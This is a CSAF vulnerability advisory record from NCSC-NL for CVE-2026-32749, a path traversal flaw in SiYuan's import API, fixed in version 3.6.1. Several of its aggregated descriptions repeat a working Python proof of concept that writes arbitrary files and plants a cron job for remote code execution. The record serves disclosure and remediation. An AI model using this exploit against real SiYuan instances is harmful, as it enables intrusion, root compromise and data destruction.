{
    "document": {
        "category": "csaf_base",
        "csaf_version": "2.0",
        "distribution": {
            "tlp": {
                "label": "WHITE"
            }
        },
        "lang": "en",
        "notes": [
            {
                "category": "legal_disclaimer",
                "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings."
            }
        ],
        "publisher": {
            "category": "coordinator",
            "contact_details": "cert@ncsc.nl",
            "name": "National Cyber Security Centre",
            "namespace": "https://www.ncsc.nl/"
        },
        "title": "CVE-2026-32749",
        "tracking": {
            "current_release_date": "2026-03-27T00:16:10.408320Z",
            "generator": {
                "date": "2026-02-17T15:00:00Z",
                "engine": {
                    "name": "V.E.L.M.A",
                    "version": "1.7"
                }
            },
            "id": "CVE-2026-32749",
            "initial_release_date": "2026-03-16T19:42:08.854911Z",
            "revision_history": [
                {
                    "date": "2026-03-16T19:42:08.854911Z",
                    "number": "1",
                    "summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (2).| CWES updated (1)."
                },
                {
                    "date": "2026-03-16T19:42:13.660376Z",
                    "number": "2",
                    "summary": "NCSC Score created."
                },
                {
                    "date": "2026-03-19T15:31:12.094879Z",
                    "number": "3",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (2).| CWES updated (1)."
                },
                {
                    "date": "2026-03-20T18:18:36.695390Z",
                    "number": "4",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (3).| CWES updated (1)."
                },
                {
                    "date": "2026-03-20T18:18:38.532692Z",
                    "number": "5",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-20T18:19:33.094531Z",
                    "number": "6",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (1).| References created (3).| CWES updated (1)."
                },
                {
                    "date": "2026-03-20T18:19:37.273468Z",
                    "number": "7",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-20T19:55:59.896832Z",
                    "number": "8",
                    "summary": "Description removed for source.| Description created for source."
                },
                {
                    "date": "2026-03-20T20:38:58.769607Z",
                    "number": "9",
                    "summary": "Unknown change."
                },
                {
                    "date": "2026-03-20T21:42:01.918485Z",
                    "number": "10",
                    "summary": "References created (3)."
                },
                {
                    "date": "2026-03-20T21:59:47.086532Z",
                    "number": "11",
                    "summary": "Source connected.| CVE status created. (valid)| EPSS created."
                },
                {
                    "date": "2026-03-20T21:59:49.981752Z",
                    "number": "12",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-21T13:46:52.087587Z",
                    "number": "13",
                    "summary": "References removed (3)."
                },
                {
                    "date": "2026-03-22T00:52:16.306550Z",
                    "number": "14",
                    "summary": "References created (3)."
                },
                {
                    "date": "2026-03-22T11:25:17.176097Z",
                    "number": "15",
                    "summary": "References removed (3)."
                },
                {
                    "date": "2026-03-23T00:54:26.104483Z",
                    "number": "16",
                    "summary": "References created (3)."
                },
                {
                    "date": "2026-03-23T05:16:23.376299Z",
                    "number": "17",
                    "summary": "References removed (3)."
                },
                {
                    "date": "2026-03-24T10:16:53.653871Z",
                    "number": "18",
                    "summary": "Products connected (1).| Product Identifiers created (1).| Exploits created (1)."
                },
                {
                    "date": "2026-03-24T10:17:04.979591Z",
                    "number": "19",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-24T20:56:49.160057Z",
                    "number": "20",
                    "summary": "References created (3)."
                },
                {
                    "date": "2026-03-24T20:56:51.814980Z",
                    "number": "21",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-27T00:13:05.257257Z",
                    "number": "22",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (1).| References created (4).| CWES updated (1)."
                },
                {
                    "date": "2026-03-27T00:13:07.514415Z",
                    "number": "23",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-27T00:14:06.530923Z",
                    "number": "24",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| References created (4)."
                }
            ],
            "status": "interim",
            "version": "24"
        }
    },
    "product_tree": {
        "branches": [
            {
                "branches": [
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/<3.6.1",
                                "product": {
                                    "name": "vers:unknown/<3.6.1",
                                    "product_id": "CSAFPID-5839032",
                                    "product_identification_helper": {
                                        "cpe": "cpe:2.3:a:b3log:siyuan:*:*:*:*:*:*:*:*"
                                    }
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "siyuan"
                    }
                ],
                "category": "vendor",
                "name": "B3log"
            },
            {
                "branches": [
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/<3.6.1",
                                "product": {
                                    "name": "vers:unknown/<3.6.1",
                                    "product_id": "CSAFPID-5825995"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/>=0|<=0.0.0-20260313024916-fd6526133bb3",
                                "product": {
                                    "name": "vers:unknown/>=0|<=0.0.0-20260313024916-fd6526133bb3",
                                    "product_id": "CSAFPID-5920116"
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "siyuan"
                    }
                ],
                "category": "vendor",
                "name": "siyuan-note"
            }
        ]
    },
    "vulnerabilities": [
        {
            "cve": "CVE-2026-32749",
            "cwe": {
                "id": "CWE-22",
                "name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')"
            },
            "notes": [
                {
                    "category": "description",
                    "text": "### Summary\n`POST /api/import/importSY` and `POST /api/import/importZipMd` write uploaded archives to a path derived from the multipart filename field without sanitization, allowing an admin to write files to arbitrary locations outside the temp directory — including system paths that enable RCE.\n\n### Details\n**File:** `kernel/api/import.go` — functions `importSY` and `importZipMd`\n\n```go\nfile := files[0]\n\n// ❌ file.Filename comes from the HTTP multipart header — fully user-controlled\nwritePath := filepath.Join(util.TempDir, \"import\", file.Filename)\n// e.g. TempDir=/siyuan/workspace/temp, file.Filename=\"../../data/evil\"\n// → writePath = /siyuan/workspace/data/evil  (escapes temp/import/)\n\nwriter, err := os.OpenFile(writePath, os.O_RDWR|os.O_CREATE, 0644)\n```\n\n`importZipMd` has a second traversal in `unzipPath` construction:\n```go\nfilenameMain := strings.TrimSuffix(file.Filename, filepath.Ext(file.Filename))\nunzipPath    := filepath.Join(util.TempDir, \"import\", filenameMain)\ngulu.Zip.Unzip(writePath, unzipPath)   // unzipPath also escapes TempDir\n```\n\n`filepath.Join` calls `filepath.Clean` internally, but cleaning happens **after** concatenation — sufficient `../` sequences escape the base directory entirely. The `curl` tool sanitizes `../` in multipart filenames, so exploitation requires sending the raw HTTP request via Python `requests` or a custom client.\n\n### PoC\n**Environment:**\n```bash\ndocker run -d --name siyuan -p 6806:6806 \\\n  -v $(pwd)/workspace:/siyuan/workspace \\\n  b3log/siyuan --workspace=/siyuan/workspace --accessAuthCode=test123\n```\n\n**Exploit:**\n```python\nimport requests, zipfile, io\n\nHOST  = \"http://localhost:6806\"\nTOKEN = \"YOUR_ADMIN_TOKEN\"  # from Settings → About → API Token\n\n# Create a valid .sy.zip payload\nbuf = io.BytesIO()\nwith zipfile.ZipFile(buf, 'w') as z:\n    z.writestr(\"TestNB/20240101000000-abcdefg.sy\",\n        '{\"ID\":\"20240101000000-abcdefg\",\"Spec\":\"1\",\"Type\":\"NodeDocument\",\"Children\":[]}')\n    z.writestr(\"TestNB/.siyuan/sort.json\", \"{}\")\nbuf.seek(0)\n\n# Traversal filename — Python requests does NOT sanitize ../\nr = requests.post(f\"{HOST}/api/import/importSY\",\n    headers={\"Authorization\": f\"Token {TOKEN}\"},\n    files={\"file\": (\"../../data/TRAVERSAL_PROOF.zip\", buf.read(), \"application/zip\")},\n    data={\"notebook\": \"YOUR_NOTEBOOK_ID\", \"toPath\": \"/\"})\n\nprint(r.text)\n# Returns: {\"code\":0,\"msg\":\"\",\"data\":null}\n# File was written to /siyuan/workspace/data/TRAVERSAL_PROOF.zip\n```\n\n**RCE via cron (root container):**\n```python\ncron = b\"* * * * * root touch /tmp/RCE_CONFIRMED\\n\"\nr = requests.post(f\"{HOST}/api/import/importSY\",\n    headers={\"Authorization\": f\"Token {TOKEN}\"},\n    files={\"file\": (\"../../../../../etc/cron.d/siyuan_poc\", cron, \"application/zip\")},\n    data={\"notebook\": \"NOTEBOOK_ID\", \"toPath\": \"/\"})\n# cron executes on next minute → /tmp/RCE_CONFIRMED appears\n```\n\n**Confirmed response on v3.6.0:** `{\"code\":0,\"msg\":\"\",\"data\":null}`\n\n### Impact\nAn admin can write arbitrary content to any path writable by the SiYuan process:\n- **RCE** via `/etc/cron.d/` (root containers), `~/.bashrc`, SSH `authorized_keys`\n- **Data destruction** by overwriting workspace or application files\n- In Docker containers running as root (common default), this grants **full container compromise**",
                    "title": "github - https://github.com/advisories/GHSA-qvvf-q994-x79v"
                },
                {
                    "category": "description",
                    "text": "SiYuan is a personal knowledge management system. In versions 3.6.0 and below, POST /api/import/importSY and POST /api/import/importZipMd write uploaded archives to a path derived from the multipart filename field without sanitization, allowing an admin to write files to arbitrary locations outside the temp directory - including system paths that enable RCE. This can lead to aata destruction by overwriting workspace or application files, and for Docker containers running as root (common default), this grants full container compromise. This issue has been fixed in version 3.6.1.",
                    "title": "nvd - https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-32749"
                },
                {
                    "category": "description",
                    "text": "SiYuan is a personal knowledge management system. In versions 3.6.0 and below, POST /api/import/importSY and POST /api/import/importZipMd write uploaded archives to a path derived from the multipart filename field without sanitization, allowing an admin to write files to arbitrary locations outside the temp directory - including system paths that enable RCE. This can lead to aata destruction by overwriting workspace or application files, and for Docker containers running as root (common default), this grants full container compromise. This issue has been fixed in version 3.6.1.",
                    "title": "cveprojectv5 - https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/32xxx/CVE-2026-32749.json"
                },
                {
                    "category": "description",
                    "text": "### Summary\nPOST /api/import/importSY and POST /api/import/importZipMd write uploaded archives to a path derived from the multipart filename field without sanitization, allowing an admin to write files to arbitrary locations outside the temp directory - including system paths that enable RCE.\n\n### Details\nFile: kernel/api/import.go - functions importSY and importZipMd\n\n```go\nfile := files[0]\nwritePath := filepath.Join(util.TempDir, \"import\", file.Filename)\nwriter, err := os.OpenFile(writePath, os.O_RDWR|os.O_CREATE, 0644)\n```\n\nimportZipMd has a second traversal in unzipPath construction:\n```go\nfilenameMain := strings.TrimSuffix(file.Filename, filepath.Ext(file.Filename))\nunzipPath    := filepath.Join(util.TempDir, \"import\", filenameMain)\ngulu.Zip.Unzip(writePath, unzipPath)\n```\n\nfilepath.Join calls filepath.Clean internally, but cleaning happens after concatenation - sufficient ../ sequences escape the base directory entirely. The curl tool sanitizes ../ in multipart filenames, so exploitation requires sending the raw HTTP request via Python requests or a custom client.\n\n### PoC\n**Environment:**\n```bash\ndocker run -d --name siyuan -p 6806:6806 \\\n  -v $(pwd)/workspace:/siyuan/workspace \\\n  b3log/siyuan --workspace=/siyuan/workspace --accessAuthCode=test123\n```\n\n**Exploit:**\n```python\nimport requests, zipfile, io\n\nHOST  = \"http://localhost:6806\"\nTOKEN = \"YOUR_ADMIN_TOKEN\"\n\nbuf = io.BytesIO()\nwith zipfile.ZipFile(buf, 'w') as z:\n    z.writestr(\"TestNB/20240101000000-abcdefg.sy\",\n        '{\"ID\":\"20240101000000-abcdefg\",\"Spec\":\"1\",\"Type\":\"NodeDocument\",\"Children\":[]}')\n    z.writestr(\"TestNB/.siyuan/sort.json\", \"{}\")\nbuf.seek(0)\n\nr = requests.post(f\"{HOST}/api/import/importSY\",\n    headers={\"Authorization\": f\"Token {TOKEN}\"},\n    files={\"file\": (\"../../data/TRAVERSAL_PROOF.zip\", buf.read(), \"application/zip\")},\n    data={\"notebook\": \"YOUR_NOTEBOOK_ID\", \"toPath\": \"/\"})\n\nprint(r.text)\n```\n\n**RCE via cron (root container):**\n```python\ncron = b\"* * * * * root touch /tmp/RCE_CONFIRMED\\n\"\nr = requests.post(f\"{HOST}/api/import/importSY\",\n    headers={\"Authorization\": f\"Token {TOKEN}\"},\n    files={\"file\": (\"../../../../../etc/cron.d/siyuan_poc\", cron, \"application/zip\")},\n    data={\"notebook\": \"NOTEBOOK_ID\", \"toPath\": \"/\"})\n```\n\n**Confirmed response on v3.6.0:** {\"code\":0,\"msg\":\"\",\"data\":null}\n\n### Impact\nAn admin can write arbitrary content to any path writable by the SiYuan process:\n- RCE via /etc/cron.d/ (root containers), ~/.bashrc, SSH authorized_keys\n- Data destruction by overwriting workspace or application files\n- In Docker containers running as root (common default), this grants full container compromise",
                    "title": "github - https://api.github.com/advisories/GHSA-qvvf-q994-x79v"
                },
                {
                    "category": "description",
                    "text": "### Summary\nPOST /api/import/importSY and POST /api/import/importZipMd write uploaded archives to a path derived from the multipart filename field without sanitization, allowing an admin to write files to arbitrary locations outside the temp directory - including system paths that enable RCE.\n\n### Details\nFile: kernel/api/import.go - functions importSY and importZipMd\n\n```go\nfile := files[0]\nwritePath := filepath.Join(util.TempDir, \"import\", file.Filename)\nwriter, err := os.OpenFile(writePath, os.O_RDWR|os.O_CREATE, 0644)\n```\n\nimportZipMd has a second traversal in unzipPath construction:\n```go\nfilenameMain := strings.TrimSuffix(file.Filename, filepath.Ext(file.Filename))\nunzipPath    := filepath.Join(util.TempDir, \"import\", filenameMain)\ngulu.Zip.Unzip(writePath, unzipPath)\n```\n\nfilepath.Join calls filepath.Clean internally, but cleaning happens after concatenation - sufficient ../ sequences escape the base directory entirely. The curl tool sanitizes ../ in multipart filenames, so exploitation requires sending the raw HTTP request via Python requests or a custom client.\n\n### PoC\n**Environment:**\n```bash\ndocker run -d --name siyuan -p 6806:6806 \\\n  -v $(pwd)/workspace:/siyuan/workspace \\\n  b3log/siyuan --workspace=/siyuan/workspace --accessAuthCode=test123\n```\n\n**Exploit:**\n```python\nimport requests, zipfile, io\n\nHOST  = \"http://localhost:6806\"\nTOKEN = \"YOUR_ADMIN_TOKEN\"\n\nbuf = io.BytesIO()\nwith zipfile.ZipFile(buf, 'w') as z:\n    z.writestr(\"TestNB/20240101000000-abcdefg.sy\",\n        '{\"ID\":\"20240101000000-abcdefg\",\"Spec\":\"1\",\"Type\":\"NodeDocument\",\"Children\":[]}')\n    z.writestr(\"TestNB/.siyuan/sort.json\", \"{}\")\nbuf.seek(0)\n\nr = requests.post(f\"{HOST}/api/import/importSY\",\n    headers={\"Authorization\": f\"Token {TOKEN}\"},\n    files={\"file\": (\"../../data/TRAVERSAL_PROOF.zip\", buf.read(), \"application/zip\")},\n    data={\"notebook\": \"YOUR_NOTEBOOK_ID\", \"toPath\": \"/\"})\n\nprint(r.text)\n```\n\n**RCE via cron (root container):**\n```python\ncron = b\"* * * * * root touch /tmp/RCE_CONFIRMED\\n\"\nr = requests.post(f\"{HOST}/api/import/importSY\",\n    headers={\"Authorization\": f\"Token {TOKEN}\"},\n    files={\"file\": (\"../../../../../etc/cron.d/siyuan_poc\", cron, \"application/zip\")},\n    data={\"notebook\": \"NOTEBOOK_ID\", \"toPath\": \"/\"})\n```\n\n**Confirmed response on v3.6.0:** {\"code\":0,\"msg\":\"\",\"data\":null}\n\n### Impact\nAn admin can write arbitrary content to any path writable by the SiYuan process:\n- RCE via /etc/cron.d/ (root containers), ~/.bashrc, SSH authorized_keys\n- Data destruction by overwriting workspace or application files\n- In Docker containers running as root (common default), this grants full container compromise",
                    "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGHSA-qvvf-q994-x79v.json?alt=media"
                },
                {
                    "category": "description",
                    "text": "SiYuan importSY/importZipMd: path traversal via multipart filename enables arbitrary file write in github.com/siyuan-note/siyuan/kernel",
                    "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGO-2026-4707.json?alt=media"
                },
                {
                    "category": "other",
                    "text": "0.00043",
                    "title": "EPSS"
                },
                {
                    "category": "other",
                    "text": "3.6",
                    "title": "NCSC Score"
                },
                {
                    "category": "other",
                    "text": "Is related to CWE-73 (External Control of File Name or Path)",
                    "title": "NCSC Score top increasing factors"
                },
                {
                    "category": "other",
                    "text": "There is exploit data available from source Nvd, Is related to (a version of) an uncommon product",
                    "title": "NCSC Score top decreasing factors"
                }
            ],
            "product_status": {
                "known_affected": [
                    "CSAFPID-5825995",
                    "CSAFPID-5839032",
                    "CSAFPID-5920116"
                ]
            },
            "references": [
                {
                    "category": "external",
                    "summary": "Source - github",
                    "url": "https://github.com/advisories/GHSA-qvvf-q994-x79v"
                },
                {
                    "category": "external",
                    "summary": "Source raw - github",
                    "url": "https://api.github.com/advisories/GHSA-qvvf-q994-x79v"
                },
                {
                    "category": "external",
                    "summary": "Source - github",
                    "url": "https://api.github.com/advisories/GHSA-qvvf-q994-x79v"
                },
                {
                    "category": "external",
                    "summary": "Source - nvd",
                    "url": "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-32749"
                },
                {
                    "category": "external",
                    "summary": "Source - cveprojectv5",
                    "url": "https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/32xxx/CVE-2026-32749.json"
                },
                {
                    "category": "external",
                    "summary": "Source - first",
                    "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0"
                },
                {
                    "category": "external",
                    "summary": "Source - osv",
                    "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGHSA-qvvf-q994-x79v.json?alt=media"
                },
                {
                    "category": "external",
                    "summary": "Source - osv",
                    "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGO-2026-4707.json?alt=media"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd; osv",
                    "url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-qvvf-q994-x79v"
                },
                {
                    "category": "external",
                    "summary": "Reference - github",
                    "url": "https://github.com/advisories/GHSA-qvvf-q994-x79v"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd; osv",
                    "url": "https://github.com/siyuan-note/siyuan/commit/5ee00907f0b0c4aca748ce21ef1977bb98178e14"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd; osv",
                    "url": "https://github.com/siyuan-note/siyuan/releases/tag/v3.6.1"
                },
                {
                    "category": "external",
                    "summary": "Reference - github; osv",
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32749"
                }
            ],
            "scores": [
                {
                    "cvss_v3": {
                        "version": "3.1",
                        "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:H/A:N",
                        "baseScore": 7.6,
                        "baseSeverity": "HIGH"
                    },
                    "products": [
                        "CSAFPID-5825995",
                        "CSAFPID-5839032",
                        "CSAFPID-5920116"
                    ]
                }
            ],
            "title": "CVE-2026-32749"
        }
    ]
}